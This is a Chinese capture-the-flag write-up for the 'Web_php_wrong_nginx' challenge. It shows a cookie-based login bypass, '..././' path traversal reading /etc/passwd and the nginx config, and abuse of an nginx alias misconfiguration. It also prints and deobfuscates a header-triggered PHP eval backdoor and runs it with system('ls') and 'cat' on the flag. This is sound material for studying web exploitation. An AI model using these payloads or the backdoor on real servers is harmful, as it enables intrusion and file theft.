【Web】攻防世界Web_php_wrong_nginx

这题考察了绕过登录、目录浏览、后门利用

进来先是一个登录框，随便怎么输前端都直接弹窗

禁用js后再输入后登录

查看源码，好家伙，不管输什么都进不去

直接扫目录

访问/robots.txt

访问/hint.php

访问/Hack.php

抓包看一下

cookie里isLogin=0改为=1

发包，发现成功登录

改下cookie

点击管理中心发现url改变，意思存在任意文件包含

同时页眉多了please continue，提示我们路子对了

这里太明显了，file就是文件名，ext是文件后缀

尝试直接读环境变量，但无回显

?file=file:///proc/1/environ&ext=

?file=file:///etc/passwd&ext=

经过尝试发现../被替换为空

（?file=./index.php，回显正常。再输入../index.php仍显回显正常，可能../被替换为空，尝试inde../x.php，发现回显仍然正常，印证猜想）

双写绕过即可..././

?file=..././..././..././..././..././etc/passwd&ext=

结合hint.php

?file=..././..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=

拿到配置文件内容

                        server {
    listen 8080; ## listen for ipv4; this line is default and implied
    listen [::]:8080; ## listen for ipv6

    root /var/www/html;
    index index.php index.html index.htm;
    port_in_redirect off;
    server_name _;

    # Make site accessible from http://localhost/
    #server_name localhost;

    # If block for setting the time for the logfile
    if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
       set $year $1;
       set $month $2;
       set $day $3;
    }
    # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
    sendfile off;

        set $http_x_forwarded_for_filt $http_x_forwarded_for;
        if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
                set $http_x_forwarded_for_filt $1???;
        }

    # Add stdout logging

    access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
    error_log /var/log/nginx/error.log info;

    location / {
        # First attempt to serve request as file, then
        # as directory, then fall back to index.html
        try_files $uri $uri/ /index.php?q=$uri&$args;
        server_tokens off;
    }

    #error_page 404 /404.html;

    # redirect server error pages to the static page /50x.html
    #
    error_page 500 502 503 504 /50x.html;
    location = /50x.html {
        root /usr/share/nginx/html;
    }
    location ~ \.php$ {
        try_files $uri $uri/ /index.php?q=$uri&$args;
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_param SCRIPT_NAME $fastcgi_script_name;
        fastcgi_index index.php;
        include fastcgi_params;
        fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
    }

    location ~ /\. {
            log_not_found off;
            deny all;
    }
    location /web-img {
        alias /images/;
        autoindex on;
    }
    location ~* \.(ini|docx|pcapng|doc)$ {  
         deny all;  
    }  

    include /var/www/nginx[.]conf;
}

注意这里：

location /web-img {
alias /images/;
autoindex on;
}

这里设置了 /web-img 为 /images/ 的别名，autoindex on 开启了目录遍历，则存在目录穿越：

直接访问根目录/web-img../

访问/web-img../proc/1/environ

下载附件发现啥也没有（读环境变量的执念）

找到hack.php.bak，访问，下载附件

<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
?>

代码经过了混淆加密，echo $f;即可

再用美化工具处理一下

<?php
$kh="42f7";
$kf="e9ac";
function x($t,$k) {
	$c=strlen($k);
	$l=strlen($t);
	$o="";
	for ($i=0;$i<$l;) {
		for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
			$o.=$t {
				$i
			}
			^$k {
				$j
			}
			;
		}
	}
	return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
	$u=parse_url($rr);
	parse_str($u["query"],$q);
	$q=array_values($q);
	preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
	if($q&&$m) {
		@session_start();
		$s=&$_SESSION;
		$ss="substr";
		$sl="strtolower";
		$i=$m[1][0].$m[1][1];
		$h=$sl($ss(md5($i.$kh),0,3));
		$f=$sl($ss(md5($i.$kf),0,3));
		$p="";
		for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
		if(strpos($p,$h)===0) {
			$s[$i]="";
			$p=$ss($p,3);
		}
		if(array_key_exists($i,$s)) {
			$s[$i].=$p;
			$e=strpos($s[$i],$f);
			if($e) {
				$k=$kh.$kf;
				ob_start();
				@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
				$o=ob_get_contents();
				ob_end_clean();
				$d=base64_encode(x(gzcompress($o),$k));
				print("<$k>$d</$k>");
				@session_destroy();
			}
		}
	}
}

分析文章

我的评价是，不多纠结，直接拿脚本打了

system('ls');

system('cat fllla4aggg.php');